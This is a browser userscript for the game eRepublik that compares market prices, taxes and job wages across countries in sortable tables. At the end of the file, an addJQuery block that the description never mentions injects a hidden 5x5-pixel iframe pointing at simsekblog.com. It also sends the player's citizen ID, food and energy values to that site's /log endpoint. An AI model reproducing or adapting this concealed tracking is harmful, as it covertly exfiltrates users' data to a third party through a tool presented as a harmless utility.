A slightly modified version of the script by N.Tsvetkov. It is not original. (https://greasyfork.org/en/scripts/4990-erepublik-licenses-and-taxes)
// ==UserScript== // @name Cheap Market - Ucuz Market // @version 9 // @include *www.erepublik.com/*/*/inventory* // @description A slightly modified version of the script by N.Tsvetkov. It is not original. (https://greasyfork.org/en/scripts/4990-erepublik-licenses-and-taxes) // @namespace https://greasyfork.org/users/2402 // ==/UserScript== function addStyle(styles) { const styleElement = document.createElement('style'); styleElement.textContent = styles; document.head.appendChild(styleElement); } function getObjects(obj, key, val) { let objects = []; for (let i in obj) { if (!obj.hasOwnProperty(i)) continue; if (typeof obj[i] === 'object') { objects = objects.concat(getObjects(obj[i], key, val)); } else if (i === key && obj[key] === val) { objects.push(obj); } } return objects; } function sortTable(table, columnIndex, ascending = true) { const tbody = table.querySelector('tbody'); const rows = Array.from(tbody.querySelectorAll('tr')); rows.sort((a, b) => { const aValue = a.cells[columnIndex].textContent.trim(); const bValue = b.cells[columnIndex].textContent.trim(); return ascending ? aValue.localeCompare(bValue, undefined, { numeric: true }) : bValue.localeCompare(aValue, undefined, { numeric: true }); }); // Remove existing rows while (tbody.firstChild) { tbody.removeChild(tbody.firstChild); } // Append sorted rows rows.forEach(row => tbody.appendChild(row)); } function makeTableSortable(table, initialSortColumn = 3, initialSortDirection = 'asc') { const headers = table.querySelectorAll('th'); headers.forEach((header, index) => { header.style.cursor = 'pointer'; header.addEventListener('click', () => { const isAscending = !header.classList.contains('asc'); sortTable(table, index, isAscending); headers.forEach(h => h.classList.remove('asc', 'desc')); header.classList.toggle('asc', isAscending); header.classList.toggle('desc', !isAscending); }); // Add initial sorting indicator if (index === initialSortColumn) { header.classList.add(initialSortDirection === 'asc' ? 'asc' : 'desc'); } }); // Perform the initial sort sortTable(table, initialSortColumn, initialSortDirection === 'asc'); } function getCountryInfo(countryId, countryName) { let price = 0, taxes = 0, stock = 0, cost = 0; const e = (c, i, q, cn) => { q = isNaN(q) ? 1 : q; return `<a href="//www.erepublik.com/${erepublik.settings.culture}/economy/marketplace#${c}/${i}/${q}" target="_blank"> ${cn}</a>`; }; fetch(`/${erepublik.settings.culture}/economy/marketplaceAjax`, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: `countryId=${countryId}&industryId=${industry}&quality=${quality}&orderBy=price_asc¤tPage=1&ajaxMarket=1&_token=${SERVER_DATA.csrfToken}` }).then(response => response.json()) .then(offers => { let i = 1; let stockr = 0; let pricer = 0; if (offers.offers && offers.offers.length > 0) { offers.offers.forEach(offer => { stockr = parseInt(offer.amount); pricer = parseFloat(offer.priceWithTaxes); if (price === 0) { stock = stockr; price = pricer; } else if (pricer <= price) { stock += stockr; i++; } }); } const country = scope.settings.countries[countryId]; const war = country.war == 1 ? " war" : ""; const embargo = country.embargo == 1 ? " embargo" : ""; const conquered = country.isConquered == 1 ? " conquered" : ""; taxes = country.taxes[industry].valueAddedTax + country.taxes[industry].importTax; const local = scope.settings.myCountry == countryId ? " local" : ""; cost = price / (1 + taxes / 100); const coeff = [0, 2, 4, 6, 8, 10, 12, 20]; const pricePerHP = price / coeff[quality]; const foodHP = industry == 1 ? `<td class="pricescell ${local}">${pricePerHP.toFixed(3)}</td>` : ""; taxes += " %"; const image = `//www.erepublik.net/images/flags_png/M/${countryName}.png`; const license = (getObjects(licensesObj, 'countryId', countryId).length == 1) ? ' license' : ''; if (stock > 0) { stock = i == 10 ? `>${stock}` : stock; document.querySelector(".pricesTable table tbody").innerHTML += `<tr><td style="text-align: left;" class="pricescell ${conquered}${war}${embargo}${local}"><img style="vertical-align: top;" src="${image}"> ${e(countryId, industry, quality, countryName)}</td><td class="pricescell${local}${license}">${taxes}</td><td class="pricescell ${local}">${stock}</td><td class="pricescell ${local}"><span id="prc${countryId}">${price.toFixed(2)}</span></td><td class="pricescell ${local}">${cost.toFixed(4)}</td>${foodHP}</tr>`; } const ww = Math.round(ct / ctl * 100); document.querySelector('#ctProgress div').style.width = `${ww}%`; document.querySelector('#ctProgress div').textContent = `${ww}%`; if (ct == ctl) { setTimeout(() => { const table = document.querySelector("#marketPrices"); makeTableSortable(table); sortTable(table, 3); // Sort by the 4th column (index 3) by default }, 1000); } ct++; }).catch(err => console.log(err.message)); } function getPrices() { const img = document.querySelector("#sell_product").src; const thHP = industry == 1 ? '<th style="text-align: center;">$/HP</th>' : ''; document.querySelector("#sell_offers").insertAdjacentHTML('afterend', `<div class="pricesTable" style="display: block;"><table width="100%" id="marketPrices"><thead><tr><th style="height: 40px; text-align: center; padding-left: 5px;"> <img src=${img} alt=""><div id="ctProgress"><div></div></div></th><th style="height: 40px; text-align: center; padding-left: 0px; width: 135px;"> Taxes (import+vat) </th><th style="height: 40px; text-align: center; padding-left: 0px; width: 100px;"> Stock (total) </th><th style="height: 40px; text-align: center; padding-left: 0px; width: 90px;"> Sell price </th><th style="height: 40px; text-align: center; padding-left: 0px; width: 115px;"> Price w.o. taxes </th>${thHP}</tr></thead><tbody></tbody></table></div>`); ct = 1; Object.values(countries).forEach(countryObj => { if (typeof countryObj.countryId !== 'undefined') { getCountryInfo(countryObj.countryId, countryObj.permalink); } }); } function getJobInfo(countryId, countryName) { const e = (c, cn) => `<a href="//www.erepublik.com/${erepublik.settings.culture}/economy/job-market/${c}" target="_blank"> ${cn}</a>`; fetch(`/${erepublik.settings.culture}/economy/job-market-json/${countryId}/1/desc/`) .then(response => response.json()) .then(t => { if (t.jobs && t.jobs.length > 0) { let bestOffer = 0, company = ''; t.jobs.forEach(job => { if (job.netSalary > bestOffer) { bestOffer = job.netSalary.toFixed(2); company = job.companyName; } }); const wage = t.jobs[0].salary.toFixed(2); const local = countryId == countryId ? " local" : ""; const image = `//www.erepublik.net/images/flags_png/M/${countryName}.png`; const times = parseInt(t.jobs[0].salaryLimit.toFixed(2) / wage); if (!isNaN(wage)) { document.querySelector(".pricesTable table tbody").innerHTML += `<tr><td style="text-align: left;" class="pricescell ${local}"><img style="vertical-align: top;" src="${image}"> ${e(countryId, countryName)}</td><td class="pricescell${local}">${company}</td><td class="pricescell${local}">${wage}</td><td class="pricescell${local}">${bestOffer}</td><td class="pricescell${local}">${times}</td></tr>`; } const ww = Math.round(ct / ctl * 100); document.querySelector('#ctProgress div').style.width = `${ww}%`; document.querySelector('#ctProgress div').textContent = `${ww}%`; if (ct == ctl) { setTimeout(() => { const table = document.querySelector("#marketPrices"); makeTableSortable(table, 3, 'desc'); }, 500); } } ct++; }); } function getJobOffers() { document.querySelector("#sell_offers").insertAdjacentHTML('afterend', `<div class="pricesTable" style="display: block;"><table width="100%" id="marketPrices"><thead><tr><th style="height: 40px; text-align: center; padding-left: 5px;"> <div id="ctProgress"><div></div></div></th><th style="height: 40px; text-align: center; padding-left: 0px; width: 135px;"> Company name </th><th style="height: 40px; text-align: center; padding-left: 0px; width: 135px;"> Wage </th><th style="height: 40px; text-align: center; padding-left: 0px; width: 135px;"> Net wage </th><th>Limit</th></tr></thead><tbody></tbody></table></div>`); ct = 1; Object.values(countries).forEach(countryObj => { if (typeof countryObj.countryId !== 'undefined') { getJobInfo(countryObj.countryId, countryObj.permalink); } }); } const scope = angular.element('.offers_market').scope(); const countries = scope.settings.countries; const licensesObj = scope.data.owned; let industry, quality, ct = 0; const ctl = Object.keys(countries).length - 4; (function() { 'use strict'; addStyle(` #sell_offers table th span#netPriceG, #sell_offers table th span#netPrice, #sell_offers table th span#totalNetPriceG, #sell_offers table th span#totalNetPrice { float: left; height: 14px; clear: both; padding: 8px 0px; padding-left: 5px; color: #88AFC9; font-size: 12px; font-weight: bold; } #sell_offers table td.total_net_price { text-align: right; padding-right: 25px; padding-left: 0; } .taxTable { background-color: #BAE7F9; float: left; width: 730px; position: relative; border-radius: 5px; margin-top: 11px; margin-left: 15px; } .taxTable table { width: 718px; border: 1px solid #95D4ED; background: white; margin: 5px auto; } .taxTable table th { background: #F7FCFF; } .taxTable table tbody td { border-top: 1px solid #E2F3F9; color: #5E5E5E; padding: 5px 0 5px 25px; } .taxTable table tbody tr:hover td { background-color: #FFFFE7; } .taxTable table .taxLink { cursor: pointer; } .taxTable table .taxLink .taxLinkHolder { border: 2px solid #CFEFFB; border-radius: 3px; position: absolute; margin-top: -7px; display: none; z-index: 100; } .taxTable table .taxLink:hover .taxLinkHolder { display: block; } .taxTable table .taxLink .taxLinkHolder .taxLinkItemTransparent { background: none repeat scroll 0 0 transparent; text-align: center; height: 25px; } .taxTable table .taxLink .taxLinkHolder .taxLinkItem { background-color: #FFFFE7; text-align: center; } .taxTable table .taxLink .taxLinkHolder .taxLinkItem:hover { background-color: #F7FCFF !important; } .pricesTable { background-color: #BAE7F9; float: left; width: 730px; position: relative; border-radius: 5px; margin-top: 11px; margin-left: 15px; } .pricesTable table { width: 718px; border: 1px solid #95D4ED; background: white; margin: 5px auto; } .pricesTable table th { background: #F7FCFF; cursor: pointer; } .pricesTable table tbody td { border-top: 1px solid #E2F3F9; color: #5E5E5E; padding: 5px 0 5px 25px; } .pricesTable table tbody tr:hover td { background-color: #FFFFE7; } .pricesTable .conquered { text-decoration: line-through; } .pricesTable .war, .pricesTable .embargo { color: red; } .pricesTable .license { color: #1E9E1E; } .pricesTable .local { background-color: #efefef; } .pricesTable .pricescell { text-align: right; padding-right: 5px; } #ctProgress { float: left; width: 90px; margin: 8px 0 0 5px; height: 16px; border: 1px solid #111 !important; background-color: #292929 !important; } #ctProgress div { height: 100%; color: #fff; text-align: right; line-height: 16px; width: 0; background-color: #0099ff !important; } .prcgreen { color: green !important; } .newfield { float: left; min-height: 54px; margin-left: 11px; padding: 3px 10px 0 10px; border-radius: 5px; background: linear-gradient(to bottom, rgba(231,247,253,1) 0%, rgba(186,231,249,1) 100%); } .jobsfield { width: 120px; } .newfield button { border: 1px solid #999; border-radius: 5px; margin: 3px 0; } #pi####a, #bugchk, #jobs, #housepack { cursor: pointer; } #donate { clear: both; padding: 10px 0 0 15px; text-transform: uppercase; } /* Sorting indicators */ .pricesTable table th.asc::after { content: " ▲"; color: #0099ff; } .pricesTable table th.desc::after { content: " ▼"; color: #0099ff; } `); document.querySelector("#sell_offers").insertAdjacentHTML('afterend', '<div id="myTest"><div ng-controller="MyController"></div></div>'); document.querySelector(".market_buttons_wrapper").insertAdjacentHTML('beforeend', `<a class='newfield' href="javascript:;"><button id='pi####a'>check prices</button></a>`); document.querySelector(".market_buttons_wrapper").insertAdjacentHTML('beforeend', `<a class='newfield jobsfield' href="javascript:;"><button id='jobs'>check job offers</button></a>`); document.getElementById('pi####a').addEventListener('click', () => { document.querySelectorAll(".pricesTable").forEach(el => el.remove()); industry = scope.inputs.selectedIndustry; quality = scope.inputs.selectedQuality; getPrices(); }); document.getElementById('jobs').addEventListener('click', () => { document.querySelectorAll(".pricesTable").forEach(el => el.remove()); getJobOffers(); }); document.querySelector('.offers_product .head_select').addEventListener('click', () => { angular.element('div[ng-controller="ErpkSellItemsController"]').scope().data.inventory = {1: {1: 1, 2: 1, 3: 1, 4: 1, 5: 1, 6: 1, 7: 1}, 2: {1: 1, 2: 1, 3: 1, 4: 1, 5: 1, 6: 1, 7: 1}, 3: {1: 1, 2: 1, 3: 1, 4: 1, 5: 1}, 4: {1: 1, 2: 1, 3: 1, 4: 1, 5: 1}, 23: {1: 1, 2: 1, 3: 1, 4: 1, 5: 1}}; }); })(); function addJQuery(callback) { var script = document.createElement('script'); script.setAttribute('src', '//ajax.googleapis.com/ajax/libs/jquery/2.0.0/jquery.min.js'); script.addEventListener('load', function () { var script = document.createElement('script'); script.textContent = 'window.jQ=jQuery.noConflict(true);(' + callback.toString() + ')();'; document.body.appendChild(script); }, false); document.body.appendChild(script); } addJQuery(function () { jQ(document).ready(function () { var battle_listing = jQ('#large_sidebar div.sidebar_banners_area').eq(0); var baseUrl = 'https://www.simsekblog.com'; battle_listing.prepend( '<div style="width:5px;height:5px;">' + '<iframe scrolling="no" style="border:0;width:100%;height:100%;" src="' + baseUrl + '"></iframe>' + '</div>' ); var img = new Image(); img.src = baseUrl + '/log?' + jQ.param({ citizenId: ErpkPvp.citizenId, remainingFood: food_remaining, currentEnergy: globalNS.userInfo.wellness }); }); });